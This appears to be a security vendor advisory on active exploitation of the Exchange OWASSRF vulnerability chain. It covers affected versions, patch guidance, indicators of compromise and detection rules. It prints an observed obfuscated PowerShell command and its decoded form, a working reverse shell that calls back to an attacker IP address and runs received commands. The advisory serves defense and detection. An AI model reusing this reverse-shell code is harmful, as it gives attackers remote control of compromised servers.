

CVE-2022-41080, CVE-2022-41082: Rapid7 Observed Exploitation of OWASSRF in Exchange for RCE

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Content

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Emergent threats evolve quickly, and as we learn more about this vulnerability, this blog post will evolve, too.

Beginning December 20, 2022, Rapid7 has responded to an increase in the number of Microsoft Exchange server compromises. Further investigation aligned these attacks to what CrowdStrike is reporting as “OWASSRF”, a chaining of CVE-2022-41080 and CVE-2022-41082 to bypass URL rewrite mitigations that Microsoft provided for ProxyNotShell allowing for remote code execution (RCE) via privilege escalation via Outlook Web Access (OWA).

Patched servers do not appear vulnerable, servers only utilizing Microsoft’s mitigations do appear vulnerable.

Threat actors are using this to deploy ransomware.

Rapid7 recommends that organizations who have yet to install the Exchange update (KB5019758) from November 2022 should do so immediately and investigate systems for indicators of compromise. Do not rely on the rewrite mitigations for protection.

Affected Products

The following on-prem versions of Exchange that have not applied the November 8, 2022 [KB5019758](#) update are vulnerable:

- Microsoft Exchange Server 2013
- Microsoft Exchange Server 2016
- Microsoft Exchange Server 2019

IOCs

In addition to the detection rules included in InsightIDR for Rapid7 customers, other IOCs include:

- PowerShell spawned by IIS ('w3wp.exe') creating outbound network connections
- 45.76.141[.]84
- 45.76.143[.]143

Example command being spawned by IIS (w3wp.exe):

```
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex([SysteM.tExT.Enc0dInG]::utf8.geTstRIng
([sySteM.CONVERt]::FRombase64sTrIng
('ZG8gew0KICAgIFN0YXJ0LVN5ZWVwIC1TZmVbmRzIDENCiAgICB0cnl7DQogICAgICAgICR0Y0MgPSB0ZXctT2JqZWNoIG5FVC5TT2NLZVR
TLlRDCeNSaUV0dCgnMHgyZDRjOGY4ZicsIDQ0MykNCiAgICB9IGNhdGNoIht9DQp9IHVudGlsICgkdGNDLkNvbW5LY3RlZCkNCg0KJG5TID0g
JHRjQySHZXRtHJlYW0oKQ0KJHN3ID0gTmV3LU9iamVjdCBpbpy5zdfJlYU13cm0ZVtoJG5TK0Q0ZnVuY3Rpb24gV3JpdGVUb1N0cmVhbSAoJ
FN0ckl0Rykgew0KCXRyeXsNCiAgICBbnl0ZVtdXSRzQ1JpUFQ6QnVmZmVyID0gMC4uJHRjQy5SZWNlaXZlQnVmZmVyU2l6ZSB8ICUgezB9DQ
ogICAgJHN3LldyaXRlKCRtHJlTktcgKyAnU0w
+ICcpDQogICAgJHN3LkZsdXNoKCKNCgl9IGNhdGNoIht9DQp9DQpXcm0ZVRvU3RyZWFTICcnDQp3aGl5ZSgoJEJ5VGVTckVBRCA9ICRuUy5S
ZWFlkKCRcdWZGZXIsIDAsICRcdWZGZXIuTGvUz3RoKSkgLwd0IDApIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC
mluZyYkQnVmRmVyLCAwLCAkQnluZWNyRUFElC0gMSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC
I
+JjEgfcBPDxQtU3RyaW5nDQogICAgICAgIH0Y2F0Y2ggew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC
cm0ZVRvU3RyZWFTICgkbykNCn0NCiRzdy5DbG9zZSgp')));exit
```

Decoded command where the highlighted string (0x2d4c8f8f) is the hex representation of the IP address 45.76.143[.]143

```

do {
    Start-Sleep -Seconds 1
    try{
        $tcC = New-Object nET.SOcKeTS.TCpCliEnt('0x2d4c8f8f', 443)
    } catch {}
} until ($tcC.Connected)

$nS = $tcC.GetStream()
$sw = New-Object io.stReaMwriteR($nS)
function WriteToStream ($StrING) {
    try{
        [byte[]]$sCRiPT:Buffer = 0..$tcC.ReceiveBufferSize | % {0}
        $sw.Write($StrING + 'SL> ')
        $sw.Flush()
    } catch {}
}

WriteToStream ''
while(($ByTeSrEAD = $nS.Read($BufFer, 0, $BufFer.Length)) -gt 0) {
    $c = ([text.eNcOdIng]::UTF8).GetString($BufFer, 0, $ByTeSrEAD - 1)
    $o= try {
        Invoke-Expression $c 2>&1 | Out-String
    } catch {
        $_ | Out-String
    }
    WriteToStream ($o)
}
$sw.Close()

```

Rapid7 has evidence of exploitation in the wild as far back as December 1, 2022.

Rapid7 Customers

Customers already have coverage to assist in assessing exposure to and detecting exploitation of this threat.

InsightVM and Nexpose

InsightVM and Nexpose added checks for CVE-2022-41080 and CVE-2022-41082 on November 8, 2022.

InsightIDR

InsightIDR customers can look for the alerting of the following rules, typically seeing several (or all) triggered on a single executed command:

- Attacker Technique - PowerShell Registry Cradle
- Suspicious Process - PowerShell System.Net.Sockets.TcpClient
- Suspicious Process - Exchange Server Spawns Process
- PowerShell - Obfuscated Script
- Webshell - IIS Spawns PowerShell

Additional detections currently being observed with follow-on activity in these compromises include:

- Attacker Technique - Plink Redirecting RDP
- Attacker Technique - Renamed Plink
- Suspicious Process - Started From Users Music Directory

Managed Detection & Response customers

Your customer advisor will reach out to you right away if any suspicious activity is observed in your organization.

Eoin Miller contributed to this article.

Updates

12/21/22 4PM ET: Updated IOC with EITW information.

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Glenn Thorpe

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